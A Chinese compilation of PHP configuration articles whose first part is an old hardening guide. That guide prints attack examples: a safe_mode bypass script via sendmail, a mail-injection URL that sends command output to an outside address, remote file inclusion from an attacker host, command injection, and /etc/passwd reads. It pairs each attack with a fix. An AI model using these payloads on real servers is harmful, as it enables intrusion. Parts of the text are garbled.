php默認配置

Ⅰ php安全配置 如何配置使其更安全

一、Web伺服器安全

PHP其實不過是Web伺服器的一個模塊功能，所以首先要保證Web伺服器的安全。當然Web伺服器要安全又必須是先保證系統安全，這樣就扯遠了，無窮無盡。PHP可以和各種Web伺服器結合，這里也只討論Apache。非常建議以chroot方式安裝啟動Apache，這樣即使Apache和PHP及其腳本出現漏洞，受影響的也只有這個禁錮的系統，不會危害實際系統。但是使用chroot的Apache後，給應用也會帶來一定的麻煩，比如連接mysql時必須用127.0.0.1地址使用tcp連接而不能用localhost實現socket連接，這在效率上會稍微差一點。還有mail函數發送郵件也是個問題，因為php.ini里的：

[mail function]
; For Win32 only.
SMTP = localhost

; For Win32 only.
sendmail_from = [email protected]

都是針對Win32平台，所以需要在chroot環境下調整好sendmail。

二、PHP本身問題

1、遠程溢出

PHP-4.1.2以下的所有版本都存在文件上傳遠程緩沖區溢出漏洞，而且攻擊程序已經廣泛流傳，成功率非常高：

http://packetstormsecurity.org/0204-exploits/7350fun
http://hsj.shadowpenguin.org/misc/php3018_exp.txt

2、遠程拒絕服務

PHP-4.2.0和PHP-4.2.1存在PHP multipart/form-data POST請求處理遠程漏洞，雖然不能獲得本地用戶許可權，但是也能造成拒絕服務。

3、safe_mode繞過漏洞

還有PHP-4.2.2以下到PHP-4.0.5版本都存在PHP mail函數繞過safe_mode限制執行命令漏洞，4.0.5版本開始mail函數增加了第五個參數，由於設計者考慮不周可以突破safe_mode的限制執行命令。其中4.0.5版本突破非常簡單，只需用分號隔開後面加shell命令就可以了，比如存在PHP腳本evil.php：

<? mail("foo@bar,"foo","bar","",$bar); ?>

執行如下的URL：

http://foo.com/evil.php?bar=;/usr/bin/id|mail [email protected]

這將id執行的結果發送給[email protected]。

對於4.0.6至4.2.2的PHP突破safe_mode限制其實是利用了sendmail的-C參數，所以系統必須是使用sendmail。如下的代碼能夠突破safe_mode限制執行命令：

<?
# 注意，下面這兩個必須是不存在的，或者它們的屬主和本腳本的屬主是一樣
$script="/tmp/script123";
$cf="/tmp/cf123";

$fd = fopen($cf, "w");
fwrite($fd, "OQ/tmp
Sparse=0
R$*" . chr(9) . "$#local $@ $1 $: $1
Mlocal, P=/bin/sh, A=sh $script");
fclose($fd);

$fd = fopen($script, "w");
fwrite($fd, "rm -f $script $cf; ");
fwrite($fd, $cmd);
fclose($fd);

mail("nobody", "", "", "", "-C$cf");
?>

還是使用以上有問題版本PHP的用戶一定要及時升級到最新版本，這樣才能消除基本的安全問題。

三、PHP本身的安全配置

PHP的配置非常靈活，可以通過php.ini, httpd.conf, .htaccess文件（該目錄必須設置了AllowOverride All或Options）進行設置，還可以在腳本程序里使用ini_set()及其他的特定的函數進行設置。通過phpinfo()和get_cfg_var()函數可以得到配置選項的各個值。

如果配置選項是唯一PHP_INI_SYSTEM屬性的，必須通過php.ini和httpd.conf來修改，它們修改的是PHP的Master值，但修改之後必須重啟apache才能生效。其中php.ini設置的選項是對Web伺服器所有腳本生效，httpd.conf里設置的選項是對該定義的目錄下所有腳本生效。

如果還有其他的PHP_INI_USER, PHP_INI_PERDIR, PHP_INI_ALL屬性的選項就可以使用.htaccess文件設置，也可以通過在腳本程序自身用ini_set()函數設定，它們修改的是Local值，改了以後馬上生效。但是.htaccess只對當前目錄的腳本程序生效，ini_set()函數只對該腳本程序設置ini_set()函數以後的代碼生效。各個版本的選項屬性可能不盡相同，可以用如下命令查找當前源代碼的main.c文件得到所有的選項，以及它的屬性：

# grep PHP_INI_ /PHP_SRC/main/main.c

在討論PHP安全配置之前，應該好好了解PHP的safe_mode模式。

1、safe_mode

safe_mode是唯一PHP_INI_SYSTEM屬性，必須通過php.ini或httpd.conf來設置。要啟用safe_mode，只需修改php.ini：

safe_mode = On

或者修改httpd.conf，定義目錄：

<Directory /var/www>
Options FollowSymLinks
php_admin_value safe_mode 1
</Directory>

重啟apache後safe_mode就生效了。啟動safe_mode，會對許多PHP函數進行限制，特別是和系統相關的文件打開、命令執行等函數。
所有操作文件的函數將只能操作與腳本UID相同的文件，比如test.php腳本的內容為：

<?include("index.html")?>

幾個文件的屬性如下：

# ls -la
total 13
drwxr-xr-x 2 root root 104 Jul 20 01:25 .
drwxr-xr-x 16 root root 384 Jul 18 12:02 ..
-rw-r--r-- 1 root root 4110 Oct 26 2002 index.html
-rw-r--r-- 1 www-data www-data 41 Jul 19 19:14 test.php

在瀏覽器請求test.php會提示如下的錯誤信息：

Warning: SAFE MODE Restriction in effect. The script whose uid/gid is 33/33 is not allowed to access ./index.html owned by uid/gid 0/0 in /var/www/test.php on line 1

如果被操作文件所在目錄的UID和腳本UID一致，那麼該文件的UID即使和腳本不同也可以訪問的，不知這是否是PHP的一個漏洞還是另有隱情。所以php腳本屬主這個用戶最好就只作這個用途，絕對禁止使用root做為php腳本的屬主，這樣就達不到safe_mode的效果了。

如果想將其放寬到GID比較，則打開 safe_mode_gid可以考慮只比較文件的GID，可以設置如下選項：

safe_mode_gid = On

設置了safe_mode以後，所有命令執行的函數將被限制只能執行php.ini里safe_mode_exec_dir指定目錄里的程序，而且shell_exec、`ls -l`這種執行命令的方式會被禁止。如果確實需要調用其它程序，可以在php.ini做如下設置：

safe_mode_exec_dir = /usr/local/php/exec

然後拷貝程序到該目錄，那麼php腳本就可以用system等函數來執行該程序。而且該目錄里的shell腳本還是可以調用其它目錄里的系統命令。

safe_mode_include_dir string
當從此目錄及其子目錄（目錄必須在 include_path 中或者用完整路徑來包含）包含文件時越過 UID/GID 檢查。

從 PHP 4.2.0 開始，本指令可以接受和 include_path 指令類似的風格用分號隔開的路徑，而不只是一個目錄。

指定的限制實際上是一個前綴，而非一個目錄名。這也就是說「safe_mode_include_dir = /dir/incl」將允許訪問「/dir/include」和「/dir/incls」，如果它們存在。如果您希望將訪問控制在一個指定的目錄，那麼請在結尾加上一個斜線，例如：「safe_mode_include_dir = /dir/incl/」。

safe_mode_allowed_env_vars string
設置某些環境變罧贍蓯喬痹詰陌踩?笨凇1局噶畎??幸桓齠漢歐指艫那白毫斜懟T詘踩?J較攏?沒е荒芨謀淠切┟?志哂性謖飫鍰峁┑那白旱幕肪潮淞俊D?杴榭魷攏?沒е荒萇柚靡?PHP_ 開頭的環境變數（例如 PHP_FOO = BAR）。

注: 如果本指令為空，PHP 將使用戶可以修改任何環境變數！

safe_mode_protected_env_vars string
本指令包含有一個逗號分隔的環境變數的列表，最終用戶不能用 putenv() 來改變這些環境變數。甚至在 safe_mode_allowed_env_vars 中設置了允許修改時也不能改變這些變數。

雖然safe_mode不是萬能的（低版本的PHP可以繞過），但還是強烈建議打開安全模式，在一定程度上能夠避免一些未知的攻擊。不過啟用safe_mode會有很多限制，可能對應用帶來影響，所以還需要調整代碼和配置才能和諧。被安全模式限制或屏蔽的函數可以參考PHP手冊。

討論完safe_mode後，下面結合程序代碼實際可能出現的問題討論如何通過對PHP伺服器端的配置來避免出現的漏洞。

2、變數濫用

PHP默認register_globals = On，對於GET, POST, Cookie, Environment, Session的變罧梢災苯幼⒉岢扇?直淞俊K?塹淖⒉崴承蚴莢ariables_order = "EGPCS"（可以通過php.ini修改），同名變數variables_order右邊的覆蓋左邊，所以變數的濫用極易造成程序的混亂。而且腳本程序員往往沒有對變數初始化的習慣，像如下的程序片斷就極易受到攻擊：

<?
//test_1.php

if ($pass == "hello")
$auth = 1;

if ($auth == 1)
echo "some important information";
else
echo "nothing";
?>

攻擊者只需用如下的請求就能繞過檢查：
http://victim/test_1.php?auth=1

這雖然是一個很弱智的錯誤，但一些著名的程序也有犯過這種錯誤，比如phpnuke的遠程文件拷貝漏洞http://www.securityfocus.com/bid/3361

PHP-4.1.0發布的時候建議關閉register_globals，並提供了7個特殊的數組變數來使用各種變數。對於從GET、POST、COOKIE等來的變數並不會直接注冊成變數，必需通過數組變數來存取。PHP-4.2.0發布的時候，php.ini默認配置就是register_globals = Off。這使得程序使用PHP自身初始化的默認值，一般為0，避免了攻擊者控制判斷變數。

解決方法：

配置文件php.ini設置register_globals = Off。

要求程序員對作為判斷的變數在程序最開始初始化一個值。

3、文件打開

極易受攻擊的代碼片斷：

<?
//test_2.php

if (!($str = readfile("$filename"))) {
echo("Could not open file: $filename<BR>\n");
exit;
}
else {
echo $str;
}
?>

由於攻擊者可以指定任意的$filename，攻擊者用如下的請求就可以看到/etc/passwd：

http://victim/test_2.php?filename=/etc/passwd

如下請求可以讀php文件本身：

http://victim/test_2.php?filename=test_2.php

PHP中文件打開函數還有fopen(), file()等，如果對文件名變數檢查不嚴就會造成伺服器重要文件被訪問讀取。

解決方法：

如非特殊需要，把php的文件操作限制在web目錄裡面。以下是修改apache配置文件httpd.conf的一個例子：

<Directory /usr/local/apache/htdocs>
php_admin_value open_basedir /usr/local/apache/htdocs
</Directory>

重啟apache後，/usr/local/apache/htdocs目錄下的PHP腳本就只能操作它自己目錄下的文件了，否則PHP就會報錯：

Warning: open_basedir restriction in effect. File is in wrong directory in xxx on line xx.

使用safe_mode模式也能避免這種問題，前面已經討論過了。

4、包含文件

極易受攻擊的代碼片斷：

<?
//test_3.php

if(file_exists($filename))
include("$filename");
?>

這種不負責任的代碼會造成相當大的危害，攻擊者用如下請求可以得到/etc/passwd文件：

http://victim/test_3.php?filename=/etc/passwd

如果對於Unix版的PHP（Win版的PHP不支持遠程打開文件）攻擊者可以在自己開了http或ftp服務的機器上建立一個包含shell命令的文件，http://attack/attack.txt的內容是<?passthru("ls /etc")?>，那麼如下的請求就可以在目標主機執行命令ls /etc：

http://victim/test_3.php?filename=http://attack/attack.txt

攻擊者甚至可以通過包含apache的日誌文件access.log和error.log來得到執行命令的代碼，不過由於干擾信息太多，有時不易成功。
對於另外一種形式，如下代碼片斷：

<?
//test_4.php

include("$lib/config.php");
?>

攻擊者可以在自己的主機建立一個包含執行命令代碼的config.php文件，然後用如下請求也可以在目標主機執行命令：

http://victim/test_4.php?lib=http://attack

PHP的包含函數有include(), include_once(), require(), require_once。如果對包含文件名變數檢查不嚴就會對系統造成嚴重危險，可以遠程執行命令。

解決方法：

要求程序員包含文件里的參數盡量不要使用變數，如果使用變數，就一定要嚴格檢查要包含的文件名，絕對不能由用戶任意指定。

如前面文件打開中限制PHP操作路徑是一個必要的選項。另外，如非特殊需要，一定要關閉PHP的遠程文件打開功能。修改php.ini文件：

allow_url_fopen = Off

重啟apache。

5、文件上傳

php的文件上傳機制是把用戶上傳的文件保存在php.ini的upload_tmp_dir定義的臨時目錄（默認是系統的臨時目錄，如：/tmp）里的一個類似phpxXuoXG的隨機臨時文件，程序執行結束，該臨時文件也被刪除。PHP給上傳的文件定義了四個變數：（如form變數名是file，而且register_globals打開）

$file #就是保存到伺服器端的臨時文件（如/tmp/phpxXuoXG ）
$file_size #上傳文件的大小
$file_name #上傳文件的原始名稱
$file_type #上傳文件的類型

推薦使用：

$HTTP_POST_FILES[file][tmp_name]
$HTTP_POST_FILES[file][size]
$HTTP_POST_FILES[file][name]
$HTTP_POST_FILES[file][type]

這是一個最簡單的文件上傳代碼：

<?
//test_5.php

if(isset($upload) && $file != "none") {
($file, "/usr/local/apache/htdocs/upload/".$file_name);
echo "文件".$file_name."上傳成功！點擊<a href=\"$PHP_SELF\">繼續上傳</a>";
exit;
}
?>
<html>
<head>
<title>文件上傳</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
</head>
<body bgcolor="#FFFFFF">
<form enctype="multipart/form-data" method="post">
上傳文件:
<input type="file" name="file" size="30">
<input type="submit" name="upload" value="上傳">
</form>
</body>
</html>

這樣的上傳代碼存在讀取任意文件和執行命令的重大問題。
下面的請求可以把/etc/passwd文檔拷貝到web目錄/usr/local/apache/htdocs/test（注意：這個目錄必須nobody可寫）下的attack.txt文件里：

http://victim/test_5.php?upload= ... ile_name=attack.txt

然後可以用如下請求讀取口令文件：

http://victim/test/attack.txt

攻擊者可以把php文件拷貝成其它擴展名，泄漏腳本源代碼。
攻擊者可以自定義form里file_name變數的值，上傳覆蓋任意有寫許可權的文件。
攻擊者還可以上傳PHP腳本執行主機的命令。

解決方法：

PHP-4.0.3以後提供了is_uploaded_file和move_uploaded_file函數，可以檢查操作的文件是否是用戶上傳的文件，從而避免把系統文件拷貝到web目錄。
使用$HTTP_POST_FILES數組來讀取用戶上傳的文件變數。
嚴格檢查上傳變數。比如不允許是php腳本文件。

把PHP腳本操作限制在web目錄可以避免程序員使用函數把系統文件拷貝到web目錄。move_uploaded_file不受open_basedir的限制，所以不必修改php.ini里upload_tmp_dir的值。
把PHP腳本用phpencode進行加密，避免由於操作泄漏源碼。
嚴格配置文件和目錄的許可權，只允許上傳的目錄能夠讓nobody用戶可寫。
對於上傳目錄去掉PHP解釋功能，可以通過修改httpd.conf實現：

<Directory /usr/local/apache/htdocs/upload>
php_flag engine off
#如果是php3換成php3_engine off
</Directory>

重啟apache，upload目錄的php文件就不能被apache解釋了，即使上傳了php文件也沒有問題，只能直接顯示源碼。

6、命令執行

下面的代碼片斷是從PHPNetToolpack摘出，詳細的描述見：

http://www.securityfocus.com/bid/4303

<?
//test_6.php

system("traceroute $a_query",$ret_strs);
?>

由於程序沒有過濾$a_query變數，所以攻擊者可以用分號來追加執行命令。

攻擊者輸入如下請求可以執行cat /etc/passwd命令：

http://victim/test_6.php?a_query=www.example.com;cat /etc/passwd

PHP的命令執行函數還有system(), passthru(), popen()和``等。命令執行函數非常危險，慎用。如果要使用一定要嚴格檢查用戶輸入。

解決方法：

要求程序員使用escapeshellcmd()函數過濾用戶輸入的shell命令。

啟用safe_mode可以杜絕很多執行命令的問題，不過要注意PHP的版本一定要是最新的，小於PHP-4.2.2的都可能繞過safe_mode的限制去執行命令。

7、sql_inject

如下的SQL語句如果未對變數進行處理就會存在問題：

select * from login where user=$user and pass=$pass

攻擊者可以用戶名和口令都輸入1 or 1=1繞過驗證。

不過幸虧PHP有一個默認的選項magic_quotes_gpc = On，該選項使得從GET, POST, COOKIE來的變數自動加了addslashes()操作。上面SQL語句變成了：

select * from login where user=1\ or 1=\1 and pass=1\ or 1=\1

從而避免了此類sql_inject攻擊。

對於數字類型的欄位，很多程序員會這樣寫：

select * from test where id=$id

由於變數沒有用單引號擴起來，就會造成sql_inject攻擊。幸虧MySQL功能簡單，沒有sqlserver等資料庫有執行命令的SQL語句，而且PHP的mysql_query()函數也只允許執行一條SQL語句，所以用分號隔開多條SQL語句的攻擊也不能奏效。但是攻擊者起碼還可以讓查詢語句出錯，泄漏系統的一些信息，或者一些意想不到的情況。

解決方法：

要求程序員對所有用戶提交的要放到SQL語句的變數進行過濾。
即使是數字類型的欄位，變數也要用單引號擴起來，MySQL自己會把字串處理成數字。
在MySQL里不要給PHP程序高級別許可權的用戶，只允許對自己的庫進行操作，這也避免了程序出現問題被 SELECT INTO OUTFILE ... 這種攻擊。

8、警告及錯誤信息

PHP默認顯示所有的警告及錯誤信息：

error_reporting = E_ALL & ~E_NOTICE
display_errors = On

在平時開發調試時這非常有用，可以根據警告信息馬上找到程序錯誤所在。
正式應用時，警告及錯誤信息讓用戶不知所措，而且給攻擊者泄漏了腳本所在的物理路徑，為攻擊者的進一步攻擊提供了有利的信息。而且由於自己沒有訪問到錯誤的地方，反而不能及時修改程序的錯誤。所以把PHP的所有警告及錯誤信息記錄到一個日誌文件是非常明智的，即不給攻擊者泄漏物理路徑，又能讓自己知道程序錯誤所在。

修改php.ini中關於Error handling and logging部分內容：

error_reporting = E_ALL
display_errors = Off
log_errors = On
error_log = /usr/local/apache/logs/php_error.log

然後重啟apache，注意文件/usr/local/apache/logs/php_error.log必需可以讓nobody用戶可寫。

9、disable_functions

如果覺得有些函數還有威脅，可以設置php.ini里的disable_functions（這個選項不能在httpd.conf里設置），比如：

disable_functions = phpinfo, get_cfg_var

可以指定多個函數，用逗號分開。重啟apache後，phpinfo, get_cfg_var函數都被禁止了。建議關閉函數phpinfo, get_cfg_var，這兩個函數容易泄漏伺服器信息，而且沒有實際用處。

10、disable_classes

這個選項是從PHP-4.3.2開始才有的，它可以禁用某些類，如果有多個用逗號分隔類名。disable_classes也不能在httpd.conf里設置，只能在php.ini配置文件里修改。

11、open_basedir

前面分析常式的時候也多次提到用open_basedir對腳本操作路徑進行限制，這里再介紹一下它的特性。用open_basedir指定的限制實際上是前綴，不是目錄名。也就是說 "open_basedir = /dir/incl" 也會允許訪問 "/dir/include" 和 "/dir/incls"，如果它們存在的話。如果要將訪問限制在僅為指定的目錄，用斜線結束路徑名。例如："open_basedir = /dir/incl/"。
可以設置多個目錄，在Windows中，用分號分隔目錄。在任何其它系統中用冒號分隔目錄。作為Apache模塊時，父目錄中的open_basedir路徑自動被繼承。

四、其它安全配置

1、取消其它用戶對常用、重要系統命令的讀寫執行許可權

一般管理員維護只需一個普通用戶和管理用戶，除了這兩個用戶，給其它用戶能夠執行和訪問的東西應該越少越好，所以取消其它用戶對常用、重要系統命令的讀寫執行許可權能在程序或者服務出現漏洞的時候給攻擊者帶來很大的迷惑。記住一定要連讀的許可權也去掉，否則在linux下可以用/lib/ld-linux.so.2 /bin/ls這種方式來執行。
如果要取消某程如果是在chroot環境里，這個工作比較容易實現，否則，這項工作還是有些挑戰的。因為取消一些程序的執行許可權會導致一些服務運行不正常。PHP的mail函數需要/bin/sh去調用sendmail發信，所以/bin/bash的執行許可權不能去掉。這是一項比較累人的工作，

2、去掉apache日誌其它用戶的讀許可權

apache的access-log給一些出現本地包含漏洞的程序提供了方便之門。通過提交包含PHP代碼的URL，可以使access-log包含PHP代碼，那麼把包含文件指向access-log就可以執行那些PHP代碼，從而獲得本地訪問許可權。
如果有其它虛擬主機，也應該相應去掉該日誌文件其它用戶的讀許可權。

當然，如果你按照前面介紹的配置PHP那麼一般已經是無法讀取日誌文件了。

Ⅱ 如何配置php伺服器

配置php伺服器對於程序員很重要,但很多人都不會.,那麼如何配置php伺服器呢?下面是我收集整理的如何配置php伺服器，希望對大家有幫助~~

配置php伺服器的方法

工具/原料

windows server 2008 和 windows server 2003 伺服器操作系統

fastcgi、php、mysql安裝包

IIS6安裝配置PHP環境

11. 安裝IIS

IIS是windows平台下比較成熟的web服務，安裝方法也非常簡單。

打開“開始”菜單，點擊“管理您的伺服器”(如圖所示)，點擊“添加或刪除角色”(如圖所示)。

3Windows server 2008伺服器防火牆配置

1) 在控制面板中打開網路和共享中心

2) 點擊“windows防火牆”彈出防火牆配置窗口，在此窗口中要確認防火牆服務已經開啟

3) 單擊“允許程序或功能通過Windows防火牆”彈出網路服務埠配置窗口，在此窗口中可以選擇允許打開埠並通信的網路服務，單擊“允許運行另一程序”來自定義開啟某一網路服務或埠

4用戶管理

系統中用戶的數量能越少越好，並且每個用戶都被用於特定的功能，如可以新建一個專門用於對網站進行匿名授權的賬戶(如條件允許，可以為每個網站新建一個獨立的賬戶進行分別授權，這些能夠隔離開各網站的授權，提高各網站的安全性，不至於一個網站被入侵後能夠有許可權訪問到其它網站的文件目錄)。另外最重要的一點是要為每個賬戶設置一個獨立且復雜的密碼，防止賬戶密碼被猜解和窮舉。

5文件系統許可權管理

l C盤只給administrators 和system許可權，其他的許可權不給，其他的盤也可以這樣設置，這里給的system許可權也不一定需要給，只是由於某些第三方應用程序是以服務形式啟動的，需要加上這個用戶，否則造成啟動不了。

l Windows目錄要加上給users的默認許可權，否則ASP和ASPX等應用程序就無法運行。其實沒有必要單獨設置Instsrv和temp等目錄許可權。

l 另外在c:/Documents and Settings/這里相當重要，後面的目錄里的許可權根本不會繼承從前的設置，如果僅僅只是設置了C盤給administrators許可權，而在All Users/Application Data目錄下會 出現everyone用戶有完全控制許可權，這樣入侵這可以跳轉到這個目錄，寫入腳本或只文件，再結合其他漏洞來提升許可權;

譬如利用serv-u的本地溢出提升許可權，或系統遺漏有補丁，資料庫的弱點，甚至社會工程學等等N多方法，在用做web/ftp伺服器的系統里，建議是將這些目錄都設置的鎖死。其他每個盤的目錄都按照這樣設置，每個盤都只給adinistrators許可權。

另外，還將：

net.exe

cmd.exe

tftp.exe

netstat.exe

regedit.exe

at.exe

attrib.exe

cacls.exe

format.exe

這些文件都設置只允許administrators訪問。

l 網站的目錄最好獨立到一個磁碟中，新建一個為網站匿名訪問而獨立授權的賬戶，讓此賬戶可以訪問和編輯此目錄，移除其它不必要的賬戶對此目錄的訪問許可權，能有效防止網站被入侵後從而涉及到整個系統被控制

END

日常維護建議

1定期運行安全軟體進行快速掃描

定期運行一下安全軟體，可以看到安全軟體的引擎或病毒庫是否已經更新到了最新版本，如果沒有可以即時查找原因，看是否是安全軟體未運行、升級埠被禁用或其它原因，雖然安全軟體可以在後台即時掃描各種文件操作，以防止病毒入侵，但有些惡意軟體、流氓軟體或插件則不是實時防護的，雖然這些軟體不會造成伺服器宕機，但也會影響伺服器性能。

2定期檢查防火牆埠配置

隨著伺服器上的網路服務越來越多，需要打開的網路埠也越來越多，但有些埠是不需要開放的，例如你安裝了一個資料庫軟體(mysql、oracle等)，這些資料庫服務很可能只需要在你伺服器的內部訪問，就完全沒有必要讓其通過防火牆，這樣能夠提高伺服器的安全，伺服器對外提供的埠越少越好;

雖然在安裝網路服務的過程中，防火牆會提示你有網路埠正在打開，是否允許通過防火牆，但有些管理員沒有細心看提示，直接就同意了，造成了大量沒有必要打開的網路埠被打開了，特別是一些木馬或惡意軟體會混水摸魚，偽裝提示信息來誘騙管理員打開網路埠，造成大量的安全隱患。進入防火牆配置界面，選擇相應的埠或網路服務，點擊“詳細信息”則可以看到此項應用的詳細信息，根據這些信息來判斷其是否應該開啟這個埠。

3任務管理器中觀察有無可疑進程，了解系統資源使用情況

任務管理器可以簡單並快速的了解服務系統資源的使用情況，並即時查看系統運行的進程和他們佔用的系統資源，根據伺服器上已開啟的各種應用的服務來判斷哪些進程是非法的，哪些進程佔用的系統資源過多。了解到這些信息後就可以即時的對伺服器進行調整，特別是佔用資源過多的進程進行分析，看是否有什麼異常並即時進行調整。

l 觀察系統進程，並自定義進程屬性

查看網路使用情況

查看系統資源使用情況

檢查IIS，了解網站安裝情況

隨時了解伺服器上網站的安裝狀況，並做以下檢查：

1、看各個網站定義的主機頭是否異常

2、 綁定的域名是否完整

3、 主目錄設置是正確

4、用戶許可權設置是否合理

5、 查看IIS的應用程序池設置是否合理，每個池下面託管的網站是否過多，是否需要設置新的應用池，是否有多餘的應用池可以刪除。

查看系統日誌，仔細檢查錯誤、警告日誌發生的原因，並急時修復相應的問題。

檢查系統用戶，查看有無多餘，可疑用戶賬戶，查看每個賬戶所屬的用戶組，特別是administrators組下面的用戶。伺服器被入侵時會出現一些欺騙性的賬戶並被加入到administrators組中，特別留心新建的多餘賬戶，弄清這些賬戶的用途，如果發現是入侵者建立的賬戶，要即時查找賬戶是被創建的原因，並修復相應的漏洞。

檢查文件系統，確保磁碟被合理分區，各個分區應該有各自的功能，如系統、資料庫、網站、備份等。各個分區的用戶授權是不相同的，如系統、備份等不需要網站的專門授權賬戶訪問，資料庫分區需要對資料庫賬戶進行單獨的授權等。既然規劃好了文件分區和功能，並進行了相應的授權，就要防止文件被亂放，以免造成安全隱患。

還要經常檢查各種新建的文件夾和文件(特別是來歷不明，名稱畸形的隱藏文件夾和文件)這些都有可能是入侵者留下的入侵痕跡。

清除垃圾文件，隨時系統運行時間的增加，會產生很多的臨時文件和日誌文件，佔用寶貴的磁碟資源，如果磁碟的可用空間過小(特別是系統盤)還會影響伺服器性能。

1、臨時文件(安裝程序、系統升級、應用程序等產生的)產生的，主要在系統盤，可以看哪些文件夾的體積異常大，可分析其內部文件，確認是臨時文件後將其刪除

2、 日誌文件，主要是IIS產生的，這些日誌文件對於查看網站運行狀態、訪問歷史很有用，但日誌有時效性，如果超過其三個月就沒有什麼用處了，但它會佔用大量的磁碟空間，所以需要定期將其刪除。

定期檢查磁碟狀態並進行碎片整理，隨著系統運行時間的增長，特別是大量的IO操作後，磁碟上會產生大量的文件碎片，這些碎片過多則會嚴重影響伺服器性能，所以定期(建議一個月)進行磁碟碎片檢查，如果系統提醒需要進行碎片整理，則進行整理。

及時升級操作系統補丁，操作系統有各種大量的補丁，特別是一些重要的安全補丁需要即時升級，這樣會有效防止黑客和病毒入侵。

及時備份重要的文件、應用、資料庫。備份分為本地備份和異地備份，有條件的可以進行異地備份，備份是為了以防萬一，當數據丟失或應用損壞時，備份就是救命稻草，因此合理的備份計劃是非常有必要的。

Ⅲ 默認情況下，APache伺服器的配置文件名以及php預處理器的配置文件分別是什麼

php.ini。
C：wampinapacheApacheconf目錄下。MySQL伺服器的配置文件名是my.ini，默認放在C：wampinmysqlmysql目錄下，PHP預處理器配置文件名是php.ini，默認放在C：..。

Ⅳ php如何正確配置

你在本地搭建好了一個 Web 開發環境，通常你需要修改環境的一些設置來達到一些目的，也有可能是 Web 應用要求你去修改某些特定的設置，或者通過修改設置來優化網站的性能。修改 Web 運行環境的設置是通過修改一些配置文件來完成的，比如想要修改 Apache 的配置，你需要找到 httpd.conf 這個文件，想修改 PHP 的設置，一般是 php.ini 這個文件，MySQL 的設置文件通常是 my.cnf 。找到這些文件所在的位置，打開以後，修改對應的選項的值，保存文件，然後重啟 Web 運行環境，這樣就可以完成修改了。
工具/原料
wamp
方法/步驟
我們通過新建一個 php 文件來預覽 php 的相關配置信息。
1. 找到你的文檔根目錄，這個目錄是你的網站應用的發布目錄，或者叫 Web 目錄，也就是只有把網站放在這個指定的目錄里，才能通過瀏覽器打開，這個目錄的位置你也是可以修改的。WAMP 設置的這個目錄的位置是 wamp/www ，MAMP 這個目錄是在 /Applications/MAMP/htdocs 。
2. 找到這個 Web 根目錄以後，在目錄里新建一個擴展台是 php 的文件，命名為 phpinfo.php 。然後用編輯器（Brackets，Sublime... ）打開這個新創建的 phpinfo.php 。在這個文件里輸入 <?php phpinfo(); ?> 。然後保存這個文件。
3. 在瀏覽器里打開 phpinfo.php 這個文件，地址應該是 localhost/phpinfo.php ，因為我們是在根目錄下創建的 phpinfo.php 。Mac 用戶如果使用 MAMP，可能需要在地址里加上埠號，localhost:8888/phpinfo.php 。在打開的頁面上你會看到 PHP 配置的相關的信息，php 配置文件所在的位置，版本，php 啟用的模塊等等，仔細的看一下這個頁面上的東西。
在上面，你應該可以找到 PHP 的配置文件所在的位置，也就是 php.ini 這個文件的位置，你可以在打開的 phpinfo.php 頁面上搜索 php.ini ，Loaded Configuration File 這個項目右邊的地址就是當前環境所使用的 php.ini 這個文件的位置。在這里，先找到這個配置文件，然後去修改裡面的幾個設置。
1. 找到當前環境所使用的 PHP 配置文件，php.ini ，這個文件的位置可以在 phpinfo.php 這個頁面上得到。WAMP 可能是在 wamp/bin/apache/Apache2.4.4/bin/php.ini ，這個文件可以使用文本編輯軟體打開。注意文件裡面有很多內容都是注釋，也就是用 ; 號開頭，文字的顏色一般是淺灰色，這些內容只是用來解釋跟提醒，並沒有實際的用處。
2. 搜索 upload_max_filesize ，這個選項可以控制 Web 應用最大的可以上傳的文件的大小，默認應該是 2M ，修改等號右邊的值，改成 512M 或其它任何你想要修改成的那個數字。
3. 搜索 post_max_size，這個選項決定了 PHP 可以接受的發送的最大的數據，默認它的值是 8M，把這個值改的大一些，可以跟 upload_max_filesize 的值一樣。
4. 搜索 memory_limit ，這個選項跟腳本最多可以使用的內存有關，把這個值改的大一些，比如 512M。
5. 搜索 max_execution_time，執行解析腳本允許的最大的時間，單位是秒，有些應用需要讓這個值大一些，這里我們可以改成 120 。
6. 保存所修改的 php.ini 文件，關掉它，然後重新啟動 Web 運行環境，WAMP 和 MAMP 都提供了一個界面，點一下對應的按鈕就可以重新啟動環境了。這樣環境就會載入修改以後的 php.ini 文件。
7. 再打開 phpinfo.php 這個頁面，然後搜索一下剛才修改的那些 php 的設置，看一下對應的值是不是自己修改之後的值，如果是，證明修改成功，如果跟修改以後的值不一樣，確定自己打開了正確的 php.ini 文件。

Ⅳ php配置默認站點顯示這個怎麼解決啊

可能是許可權的問題，比較簡便的方法就是把hosts文件復制到桌面修改完之後，再拷貝回去覆蓋掉原來的就行

Ⅵ Windows系統怎樣配置PHP環境

Windows配置PHP環境的方法：

工具原料

win7系統電腦 瀏覽器

1、打開瀏覽器，在搜索欄鍵入並搜索需要的軟體「PHPnow」，找到並下載之後，解壓到電腦磁碟的根目錄。

Ⅶ Linux裡面php默認埠是多少

php 是生成 html 的，與埠無關。HTTP 埠通常是 80

Ⅷ PHP 網站如何修改默認訪問文件的nginx配置

Linux中，配置nginx訪問home文件夾匯總的eakom文件夾， nginx的nginx.conf配置文件默認配置user nobody 其意思為nginx默認沒有配置用戶，其根路徑為nginx的安裝路徑，故不能指定訪問路徑

Ⅸ php環境如何配置

1）、下載WAMP
所謂WAMP，是指在Windows系統(W)下安裝Apache網頁伺服器(A)以及MySQL資料庫(M)和PHP腳本引擎(P)而搭建起來的PHP網路伺服器環境，當然，在LAMP環境肯定是比WAMP環境要好的，可是由於Windows的易用性，所以，我們在做前期開發或者測試某些CMS的時候，使用WAMP環境甚至很方便更實用一些。WAMP即這些單個軟體共同組成了一個強大的Web應用程序平台。
2）、下載開發工具ZendStudio
Zend Studio是PHP 集成開發環境，具備功能強大的專業編輯工具和調試工具，支持PHP語法加亮顯示，支持語法自動填充功能，支持書簽功能，支持語法自動縮排和代碼復制功能，內置一個強大的PHP代碼調試工具，支持本地和遠程兩種調試模式，支持多種高級調試功能。
windows版 Zend Studio 8.0.1下載
2、安裝程序
1）、WAMP 安裝步驟圖解
把WAMP下載到
選擇WAMP安裝路徑，也可以默認路徑。
SMP伺服器地址
PHP 郵件伺服器默認Email
設置啟動瀏覽器。
安裝完成，顯示圖片。
3、配置環境
安裝完成後默認是英文。
設置WAMP語言。您可以設置其他的語言，當然我們設置為Chinese(中文)
WAMP重啟以後就為中文了。您就可以通過WAMP去配置PHP環境了。
